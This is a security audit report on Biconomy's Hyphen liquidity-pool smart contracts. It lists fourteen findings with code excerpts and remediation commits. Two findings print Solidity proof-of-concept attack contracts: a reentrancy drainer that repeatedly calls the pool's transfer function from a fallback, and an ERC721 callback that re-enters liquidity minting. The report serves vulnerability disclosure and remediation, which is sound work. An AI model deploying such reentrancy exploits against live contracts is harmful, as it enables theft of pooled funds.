Prepared by:
HALBORN
Last Updated 04/25/2024
Date of Engagement by: January 30th, 2022 - February 24th, 2022
100% of all REPORTED Findings have been addressed
All findings
14
Critical
1
High
1
Medium
2
Low
4
Informational
6
Biconomy engaged Halborn to conduct a security audit on their smart contracts beginning on 2022-01-30 and ending on 2022-02-24. The security assessment was scoped to the smart contracts provided to the Halborn team.
The team at Halborn was provided four weeks for the engagement and assigned a full-time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.
The purpose of this audit is to:
Ensure that smart contract functions operate as intended
Identify potential security issues with the smart contracts
In summary, Halborn identified some security risks that were mostly addressed by the Biconomy team.
Although Halborn found some critical, high and medium vulnerabilities, the "Biconomy team" ran a contest as part of a bug bounty program as part of the overall security process. Halborn tested whether the vulnerabilities found during the Code4rena
contest were fixed.
Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of the smart contract audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of smart contracts and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:
Research into architecture and purpose.
Smart Contract manual code review and walkthrough.
Graphing out functionality and contract logic/connectivity/functions(solgraph
)
Manual Assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
Dynamic Analysis (ganache-cli
, brownie
, hardhat
)
Static Analysis(slither
)
\begin{enumerate} \item Biconomy Hyphen Contracts \begin{enumerate} \item Repository: \href{https://github.com/bcnmy/hyphen-contract}{Hyphen Contracts} \item Commit ID: \href{https://github.com/bcnmy/hyphen-contract/tree/79477448be994213353e481af15f5d94a64c3bc1}{79477448be994213353e481af15f5d94a64c3bc1} \end{enumerate} \item Out-of-Scope \begin{enumerate} \item contracts/security/ \item contracts/test/ \item External libraries \end{enumerate} \end{enumerate}
Critical
1
High
1
Medium
2
Low
4
Informational
6
Impact x Likelihood
HAL-02
HAL-01
HAL-03
HAL-04
HAL-10
HAL-05
HAL-06
HAL-07
HAL-08
HAL-11
HAL-12
HAL-13
HAL-14
HAL-09
Security analysis | Risk level | Remediation Date |
---|---|---|
WRONG FEE CALCULATION LEADS LOSS OF REWARD FUNDS | Critical | Solved - 02/28/2022 |
REENTRANCY LEADS DRAIN OF FUNDS (PRIVILEGED USER) | High | Solved - 02/28/2022 |
DIVISION BY ZERO BLOCKS TRANSFER OF FUNDS | Medium | Solved - 02/28/2022 |
REENTRANCY ON LPTOKEN MINTING | Medium | Solved - 02/28/2022 |
LACK OF ZERO ADDRESS CHECKS | Low | Solved - 02/28/2022 |
MISSING RE-ENTRANCY GUARD | Low | Solved - 02/28/2022 |
DISCREPANCY ON FUNCTION NAMING | Low | Solved - 02/28/2022 |
FLOATING PRAGMA | Low | Solved - 02/28/2022 |
LACK OF ADDRESS CONTROL ON ADDEXECUTOR FUNCTION | Informational | Solved - 02/28/2022 |
USE OF SEND PATTERN INSTEAD OF CALL.VALUE | Informational | Solved - 02/28/2022 |
CENTRALIZED WITHDRAWNATIVEGASFEE FUNCTION | Informational | Solved - 02/28/2022 |
USE OF I++ INSTEAD OF ++I IN FOR LOOPS - GAS OPTIMIZATION | Informational | Solved - 02/28/2022 |
REDUNDANT CODE - GAS OPTIMIZATION | Informational | Solved - 02/28/2022 |
MISSING TEST COVERAGE FOR PERMIT OPERATIONS | Informational | Acknowledged |
// Critical
The LiquidityPool
contract has claim gas fee mechanism for both ERC20 tokens and Native token. There are two functions to claim gas fee. The first function is withdrawErc20GasFee
, used for claiming gas fee for ERC20 tokens. The withdrawNativeGasFee
function is used for claiming gas fee for native token.
It is impossible to withdraw native gas fees due to wrong fee amount of calculation on withdrawNativeGasFee
function.
gasFeeAccumulatedByToken[NATIVE] = 0;
gasFeeAccumulatedByToken[NATIVE] = gasFeeAccumulatedByToken[NATIVE] - _gasFeeAccumulated;
Basically, this function tries to substract _gasFeeAccumulated
variable from 0
. Therefore, this function will always revert, and native gas fees will remain in the contract.
function withdrawNativeGasFee() external onlyOwner whenNotPaused {
uint256 _gasFeeAccumulated = gasFeeAccumulated[NATIVE][_msgSender()];
require(_gasFeeAccumulated != 0, "Gas Fee earned is 0");
gasFeeAccumulatedByToken[NATIVE] = 0;
gasFeeAccumulatedByToken[NATIVE] = gasFeeAccumulatedByToken[NATIVE] - _gasFeeAccumulated;
gasFeeAccumulated[NATIVE][_msgSender()] = 0;
bool success = payable(_msgSender()).send(_gasFeeAccumulated);
require(success, "Native Transfer Failed");
emit GasFeeWithdraw(address(this), _msgSender(), _gasFeeAccumulated);
}
SOLVED: The Biconomy team
solved this issue by correcting the math operation that was causing the loss of funds.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/fab4b8c0a10a3e0185b2a06b10248391837c07de}{fab4b8c0a10a3e0185b2a06b10248391837c07de}
// High
The Reentrancy term comes from where a re-entrant procedure can be interrupted in the middle of its execution and then safely be called again ("re-entered") before its previous invocations complete execution. In Solidity, Reentrancy vulnerabilities are mostly critical because attackers can steal funds from contracts by exploiting this vulnerability.
It has been observed that a malicious owner or malicious liquidity provider can drain all funds from the liquidity pool.
Note: The risk level is decreased to Critical
from High
due to authorization level.
Steps to Reproduce:
PoC Code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
import "./LiquidityPool.sol";
contract Attack {
LiquidityPool public lpool;
address private constant NATIVE = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address private owner;
modifier onlyOwner(){
require(owner == msg.sender, "Unauthorized");
_;
}
constructor (address _lpaddress) public {
owner = msg.sender;
lpool = LiquidityPool(payable(_lpaddress));
}
fallback() external payable{
if (address(lpool).balance >= 1 ether){
lpool.transfer(NATIVE, address(this), 1 ether);
}
}
function getBalance(address target) public view returns (uint) {
return target.balance;
}
function destruct() external onlyOwner {
selfdestruct(payable(owner));
}
}
function transfer(address _tokenAddress, address receiver, uint256 _tokenAmount) external whenNotPaused onlyLiquidityProviders {
if (_tokenAddress == NATIVE) {
require(address(this).balance >= _tokenAmount, "ERR__INSUFFICIENT_BALANCE");
(bool success, ) = receiver.call{value: _tokenAmount}("");
require(success, "ERR__NATIVE_TRANSFER_FAILED");
} else {
IERC20Upgradeable baseToken = IERC20Upgradeable(_tokenAddress);
require(baseToken.balanceOf(address(this)) >= _tokenAmount, "ERR__INSUFFICIENT_BALANCE");
SafeERC20Upgradeable.safeTransfer(baseToken, receiver, _tokenAmount);
}
}
SOLVED: The Biconomy team
solved this issue by implementing nonReentrant
modifier to the transfer()
function.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/e00937d1ca0e800e69fcb87d0841a74c0083194a}{e00937d1ca0e800e69fcb87d0841a74c0083194a}
// Medium
The sendFundsToUser()
is a function on the LiquidityPool contract that allows users to be paid in certain tokens for the specified chainIds. This function is only callable by executors. When an executor attempts to call this function, the following functions are also called sequentially:
In the last function, there is missing control for if denominator
value is zero. There are some conditions that make the denominator be zero.
For example;
As a result, these circumstances will block transfer of funds.
function getTransferFee(address tokenAddress, uint256 amount) public view returns (uint256 fee) {
uint256 currentLiquidity = getCurrentLiquidity(tokenAddress);
uint256 providedLiquidity = liquidityProviders.getSuppliedLiquidityByToken(tokenAddress);
uint256 resultingLiquidity = currentLiquidity - amount;
uint256 equilibriumFee = tokenManager.getTokensInfo(tokenAddress).equilibriumFee;
uint256 maxFee = tokenManager.getTokensInfo(tokenAddress).maxFee;
// Fee is represented in basis points * 10 for better accuracy
uint256 numerator = providedLiquidity * equilibriumFee * maxFee; // F(max) * F(e) * L(e)
uint256 denominator = equilibriumFee * providedLiquidity + (maxFee - equilibriumFee) * resultingLiquidity; // F(e) * L(e) + (F(max) - F(e)) * L(r)
fee = numerator / denominator;
}
SOLVED: The Biconomy team
solved this finding by applying the recommendation above to the code that was causing the division by zero.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/22618c038df5d27368ccac4c5451d2a0c9816513}{22618c038df5d27368ccac4c5451d2a0c9816513}
// Medium
The LPToken contract is ERC721 token and uses tokenMetadata
to keep deposit amounts for other ERC20 tokens. When a user deposit native asset or ERC20 token to the Liquidity Pool over LiquidityProviders contract, LPToken is getting minted to track this operation. During this process, LiquidityProvider contract calls lptoken.mint()
function and LPToken contract calls ERC721's _safeMint()
function. The _safeMint()
function has any callbacks, and malicious contract with onERC721Received
callback can re-enter to other contracts. This can lead to unexpected situations.
PoC Code:
Note: The following code does not mint unlimited LPTokens with 1 ETH. It is just added to show that Re-entrancy is possible. However, this situation may produce unexpected results.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
import "./LiquidityProviders.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol";
contract Attack3 is IERC721ReceiverUpgradeable{
LiquidityProviders public liquidityproviders;
constructor() public {}
function setLProvider(address _lproviders) external {
liquidityproviders = LiquidityProviders(payable(_lproviders));
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data) external override returns (bytes4) {
if (tokenId < 10) {
liquidityproviders.addNativeLiquidity{value: 1e12}();
return IERC721ReceiverUpgradeable.onERC721Received.selector;
}
else{
return IERC721ReceiverUpgradeable.onERC721Received.selector;
}
}
receive() external payable {}
function attack() external payable{
liquidityproviders.addNativeLiquidity{value: msg.value}();
}
}
function mint(address _to) external onlyHyphenPools whenNotPaused returns (uint256) {
uint256 tokenId = totalSupply() + 1;
_safeMint(_to, tokenId);
return tokenId;
}
SOLVED: The Biconomy team
solved this issue by implementing the nonReentrant
modifier to the mint()
function.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/cce62223d4779792ea68f3570b576da12dc96eb2}{cce62223d4779792ea68f3570b576da12dc96eb2}
// Low
Hyphen contracts have address fields on multiple functions. These functions have missing address validations. Every address should be validated and checked that is different from zero. This is also considered a best practice.
During the test, it has seen some of these inputs are not protected against using the address(0)
as the target address.
LPToken.setLiquidtyPool(address)._lpm
LPToken.updateLiquidityPoolAddress(address)._liquidityPoolAddress
LiquidityPool.transfer(address,address,uint256).receiver
SOLVED: This issue solved by Biconomy team
after adding additional zero address checks to the code as it recommended.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/5c57ae6eddcddde2f89ed00d9c5387ff151774ea}{5c57ae6eddcddde2f89ed00d9c5387ff151774ea}
// Low
To protect against cross-function re-entrancy attacks, it may be necessary to use a mutex. By using this lock, an attacker can no longer exploit the withdrawal function with a recursive call. OpenZeppelin has its own mutex implementation called ReentrancyGuard
which provides a modifier to any function called nonReentrant
that guards the function with a mutex against re-entrancy attacks.
Note: This issue is created for other functions that were not exploited.
LiquidityPool.depositErc20()
LiquidityPool.depositNative()
LiquidityPool.getAmountToTransfer()
LiquidityPool.withdrawErc20GasFee()
LiquidityPool.withdrawNativeGasFee()
LiquidityPool.transfer()
LiquidityProviders.addNativeLiquidity()
LiquidityProviders.addTokenLiquidity()
LiquidityProviders.increaseTokenLiquidity()
LiquidityProviders.increaseNativeLiquidity()
LiquidityProviders.removeLiquidity()
LiquidityProviders.claimFee()
SOLVED: This vulnerability was eliminated by adding the nonReentrant
modifier to functions mentioned above.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/e511a8a02ab298526689cef653c905b6b2d452e3}{e511a8a02ab298526689cef653c905b6b2d452e3}
// Low
The setLiquidtyPool
function on the LPToken
contract is named inconsistently. Similarly, there is a setLiquidityPool
function on the LiquidityProviders
contract which uses LiquidityPool as argument. As a result of the function named in this way in the LPToken contract, if the contract owner gives the LiquidityPool
address as an argument instead of the LiquidityProvider
address, the transactions on the contract do not work properly.
function setLiquidityPool(address _liquidityPool) external onlyOwner {
liquidityPool = ILiquidityPool(_liquidityPool);
}
function setLiquidtyPool(address _lpm) external onlyOwner {
liquidityPoolAddress = _lpm;
emit LiquidityPoolUpdated(_lpm);
}
SOLVED: This issue was solved after renaming the setLiquidtyPool
function to setLiquidityProviders
.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/9e16cd0e6b6e66d5f02792d0705149c873daf287}{9e16cd0e6b6e66d5f02792d0705149c873daf287}
// Low
The project contains many instances of floating pragma. Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, either an outdated compiler version that might introduce bugs that affect the contract system negatively or a pragma version too recent which has not been extensively tested.
LiquidityProviders.sol::pragma solidity ^0.8.0
WhitelistPeriodManager.sol::pragma solidity ^0.8.0
LPToken.sol::pragma solidity ^0.8.0
ERC2771Context.sol::pragma solidity ^0.8.0
ERC2771ContextUpgradeable.sol::pragma solidity ^0.8.0
ILPToken.sol::pragma solidity ^0.8.0
ILiquidityPool.sol::pragma solidity ^0.8.0
ILiquidityProviders.sol::pragma solidity ^0.8.0
ITokenManager.sol::pragma solidity ^0.8.0
IWhitelistPeriodManager.sol::pragma solidity ^0.8.0
LpTokenMetadata.sol::pragma solidity ^0.8.0
SOLVED: The Biconomy team
solved this issue by locking pragma versions.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/d7ca2d430b08296b742db3d0c39cc0dfa7201330}{d7ca2d430b08296b742db3d0c39cc0dfa7201330}
// Informational
According to the performed tests, it is possible to add the same executor to the executors array multiple times. Adding the same address to the executor array does not pose a security risk since the remove function works properly. However, it is the best practice to keep unique elements in executors array.
function addExecutor(address executorAddress) public override onlyOwner {
require(executorAddress != address(0), "executor address can not be 0");
executors.push(executorAddress);
executorStatus[executorAddress] = true;
emit ExecutorAdded(executorAddress, msg.sender);
}
SOLVED: This finding was solved after a sanity check was added to the code to check not to add duplicate records to the array.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/e15fffa2aa3c79a9b2729a7e081737856a632317}{e15fffa2aa3c79a9b2729a7e081737856a632317}
// Informational
Solidity has three methods to complete Ether transfers. The first one is transfer
method. It forwards 2300 gas, and it does not have callback to check whether transfer is completed or not. The second one is send
method. It also forwards 2300 gas, but it returns false on failure. The third one is call.value
method. This method issues a low-level CALL with the given payload and returns success condition and return data. It forwards all available gas.
It is the best practice to use call.value
method, since other methods have hardcoded gas amounts. However, the call.value
method may use all gas on reentrant transactions. Therefore, it is important to use nonReentrant
modifier with this method.
if (tokenAddress == NATIVE) {
require(address(this).balance >= amountToTransfer, "Not Enough Balance");
bool success = receiver.send(amountToTransfer);
require(success, "Native Transfer Failed");
gasFeeAccumulated[NATIVE][_msgSender()] = 0;
bool success = payable(_msgSender()).send(_gasFeeAccumulated);
require(success, "Native Transfer Failed");
SOLVED: The Biconomy team
solved this issue by replacing the send
method with the call.value
method.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/d98b632da2aa7e92668c58c8d81f81c595af3401}{d98b632da2aa7e92668c58c8d81f81c595af3401}
// Informational
The withdrawErc20GasFee
function can also be called by other executors defined on the contract. In this case, there may be different accumulated gas fee values for each executor. Contrary to this situation, the withdrawNativeGasFee
function only can be called by contract owner. This function nearly has the same logic with the first one. While other executors can collect gas fees for tokens, only the contract owner can collect this value for the native asset. In this case, it reduces decentralization of the contract.
function withdrawErc20GasFee(address tokenAddress) external onlyExecutor whenNotPaused
function withdrawNativeGasFee() external onlyOwner whenNotPaused
SOLVED: This issue was removed after changing the onlyOwner
modifier to the onlyExecutor
modifier in the withdrawNativeGasFee
function.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/fab4b8c0a10a3e0185b2a06b10248391837c07de}{fab4b8c0a10a3e0185b2a06b10248391837c07de}
// Informational
In all the loops, the variable i
is incremented using i++
. It is known that, in loops, using ++i
costs less gas per iteration than i++
. This also affects variables incremented inside the loop code block.
function addExecutors(address[] calldata executorArray) external override onlyOwner {
for (uint256 i = 0; i < executorArray.length; i++) {
addExecutor(executorArray[i]);
}
}
function removeExecutors(address[] calldata executorArray) external override onlyOwner {
for (uint256 i = 0; i < executorArray.length; i++) {
removeExecutor(executorArray[i]);
}
}
function setDepositConfig(
uint256[] memory toChainId,
address[] memory tokenAddresses,
TokenConfig[] memory tokenConfig
) external onlyOwner {
require(toChainId.length == tokenAddresses.length, "ERR_ARRAY_LENGTH_MISMATCH");
require(tokenAddresses.length == tokenConfig.length, "ERR_ARRAY_LENGTH_MISMATCH");
for (uint256 index = 0; index < tokenConfig.length; index++) {
depositConfig[toChainId[index]][tokenAddresses[index]].min = tokenConfig[index].min;
depositConfig[toChainId[index]][tokenAddresses[index]].max = tokenConfig[index].max;
}
}
SOLVED: The Biconomy team
resolved this finding by replacing post-increment with pre-increment on for loops.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/cb81bba9c42167b05e4724465ad76edaebd55645}{cb81bba9c42167b05e4724465ad76edaebd55645}
// Informational
In TokenManager
contract, there is redundant require statement. The following lines check if length of array elements are equal.
require(toChainId.length == tokenAddresses.length, "ERR_ARRAY_LENGTH_MISMATCH");
require(tokenAddresses.length == tokenConfig.length, "ERR_ARRAY_LENGTH_MISMATCH");
It is possible to complete this check with a single require function.
function setDepositConfig(
uint256[] memory toChainId,
address[] memory tokenAddresses,
TokenConfig[] memory tokenConfig
) external onlyOwner {
require(toChainId.length == tokenAddresses.length, "ERR_ARRAY_LENGTH_MISMATCH");
require(tokenAddresses.length == tokenConfig.length, "ERR_ARRAY_LENGTH_MISMATCH");
for (uint256 index = 0; index < tokenConfig.length; index++) {
depositConfig[toChainId[index]][tokenAddresses[index]].min = tokenConfig[index].min;
depositConfig[toChainId[index]][tokenAddresses[index]].max = tokenConfig[index].max;
}
}
SOLVED: The Biconomy team
solved this issue by reducing the require
functions from two to only one require
function.
Commit ID:
\href{https://github.com/bcnmy/hyphen-contract/commit/41eb807e4f6a617fd2195b23ad22f7397654cdca}{41eb807e4f6a617fd2195b23ad22f7397654cdca}
// Informational
There are two permit functions (permitAndDepositErc20
and permitEIP2612AndDepositErc20
) on LiquidityPool contract to complete Meta transactions. However, there is no test scenario in the test scripts about whether these functions work correctly.
test/LiquidityPool.tests.ts
test/LiquidityPoolProxy.tests.ts
test/LiquidityProviders.test.ts
test/WhitelistPeriodManager.test.ts
ACKNOWLEDGED: The Biconomy team
acknowledged this issue. This finding does not pose any security risks currently. Therefore, it was decided not to fix this issue.
The audit fixes were committed for the following pull request (#42).
Code Location
: LiquidityFarming.sol#L233
SOLVED: The Halborn team
validated that the for loop is optimized with an additional index variable implementation.
Code Location
: TokenManager.sol#L44
SOLVED: The Biconomy team
set an upper bound (BASE_DIVISOR) for the fee. It will be impossible to set more than 100 percent for fees with this change.
Code Location
: LiquidityProviders.sol#L280-L310
SOLVED: An additional check is implemented for cases where totalSharesMinted[token] == 0.
Code Location
: LiquidityFarming.sol#L156
SOLVED: This issue has been solved after adding zero address check to the contract. This finding has been also considered as a good practice.
Code Location
: LiquidityFarming.sol#L289
SOLVED: This issue has been solved by the Biconomy team
after setting an upper bound for the variable that changes the reward per second.
Code Location
: LiquidityPool.sol#L151
SOLVED: The Halborn team
validated that this issue was resolved after implementing the tokenAddress != NATIVE
.
Code Location
:
LiquidityFarming.sol#L140
LiquidityFarming.sol#L145
LiquidityProviders.sol#L251
LiquidityProviders.sol#L336
SOLVED: Additional zero address checks for the LiquidityPool
address were implemented to the contract.
Code Location
: LiquidityPool.sol#L263-L277
Biconomy Team:
If depositor keeps toChainId same as source chain Id, then executor will not pick this deposit transaction on backend as there won't be any mapping for fromChainId => toChainId, so depositor funds will remain in the source chain if he tries to do it and try to drain the incentive pool. Although this could happen because of any bug on the UI, so it's better to handle these situations on contract itself. It will increase a gas though a bit while depositing. Will consider this point though.
SOLVED: The toChainId != block.chainid
check was implemented in the contract.
Code Location
: LiquidityPool.sol#L263-L340
SOLVED: The EIP-1559 transaction fee calculation standard has been followed with the latest change.
Code Location
: LiquidityFarming.sol#L229-L253
SOLVED: The Biconomy team
has solved this issue by changing the logic of the _sendRewardsForNft
function. Users will get their unpaid rewards after calling the extractRewards
function. If there are unpaid rewards, the contract will not delete their nftInfo with these changes.
Code Location
: Pausable.sol#L65-L68
SOLVED: The whenNotPaused
modifier has been added for the renouncePauser
function.
Code Location
: LiquidityFarming.sol#L315-L325
SOLVED: The block.timestamp
check, which caused the vulnerability, was removed from the contract, so other users' rewards on the same block were calculated properly.
Code Location
:
LiquidityPool.sol#L119-L121
LiquidityPool.sol#L284
SOLVED: A new event that will notify the change of baseGas
has been implemented in the contract and the vulnerability has been eliminated.
Halborn used automated testing techniques to enhance coverage of certain areas of the scoped contract. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their ABI and binary formats. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.
LiquidityPool.sol:
\newline
LPToken.sol:
\newline
LiquidityProviders.sol:
\newline
ExecutorManager.sol:
\newline
TokenManager.sol:
\newline
WhitelistPeriodManager.sol:
\newline
As a result of the tests carried out with the Slither tool, some results were obtained and these results were reviewed by Halborn
. Based on the results reviewed, some vulnerabilities were determined to be false positives and these results were not included in the report. The actual vulnerabilities found by Slither
are already included in the report findings.
Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.
// Download the full report
* Use Google Chrome for best results
** Check "Background Graphics" in the print settings if needed